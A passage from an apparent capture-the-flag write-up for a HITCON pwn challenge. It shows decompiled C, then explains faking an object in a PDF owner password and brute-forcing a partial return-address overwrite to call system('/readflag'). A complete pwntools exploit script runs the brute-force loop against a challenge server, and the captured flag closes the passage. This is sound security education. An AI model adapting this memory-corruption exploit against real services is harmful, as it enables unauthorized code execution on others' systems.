a1->a <= (int)v3 ) break; idk = a1->idk; } } } } x = (void *)a1->x; if ( x ) operator delete[](x); result = (__int64 (__fastcall *)(__int64, __int64, __int64))a1->idk; *(_QWORD *)&a1->a = 0LL; a1->x = 0LL; if ( result ) { result = (__int64 (__fastcall *)(__int64, __int64, __int64))result((__int64)&a1->y, (__int64)&a1->y, 3LL); a1->idk = 0LL; a1->rly = 0LL; } return result; } ``` So we could fake this `random_vector` object inside of the owner password, and call a function pointer inside of it (after faking some surrounding state), with an argument that points to controlled data! We'd just have to return to offset `+0x142506` of the library. By overwriting the three least significant bytes of the return address to `\x06\x25\x00` (including the null byte that is always appended), we'd only have to battle three nibbles of entropy: a 1/4096 chance! The python executable exported the `system` function, so we could just return to its PLT stub with an argument of "/readflag". The final exploit looks like this: ```python from pwn import * import json import base64 context.terminal = ["terminator", "-e"] def put_file(text: bytes, user_pw: bytes, owner_pw: bytes, options: dict) -> None: allow_options = set([ "garbage", "clean", "deflate", "deflate_images", "deflate_fonts", "incremental", "ascii", "expand", "linear", "pretty", "no_new_id", "permissions" ]) assert len(text) <= 1024 assert allow_options.issuperset(options) r.sendlineafter(b'Give me a text: ', text) r.sendlineafter(b'Choose a user password for your document: ', user_pw) r.sendlineafter(b'Choose a owner password for your document: ', owner_pw) r.sendlineafter(b'Options for Document.save(): ', json.dumps(options) .encode('utf-8')) def send_payload(a, b): put_file(b'USER_TEXT\x00AAAAAAAAA', a, b, {}) context.log_level = "error" for i in range(0x2000): r = remote("34.81.73.235", 10101) if args.GDB: input("continue: ") fake_vector_payload = p32(1) * 2 + p64(0x0000000000425530) + b"/readflag" + b"\x00"*7 + 2*p64(0x0000000000425530) send_payload(172 * b'B' + b"\x06\x25", fake_vector_payload) time.sleep(0.2) try: resp = r.recv() print(str(i).rjust(5, '0'), resp) if b"hitcon" in resp or b"HITCON" in resp: break except: print(str(i).rjust(5, '0'), "eof") if args.GDB: input("stop: ") r.close() ``` With six parallel instances, we got the flag in a few minutes: ``` hitcon{0hhhhh!1!1Why_my_pyth0n_cr@sh????} ```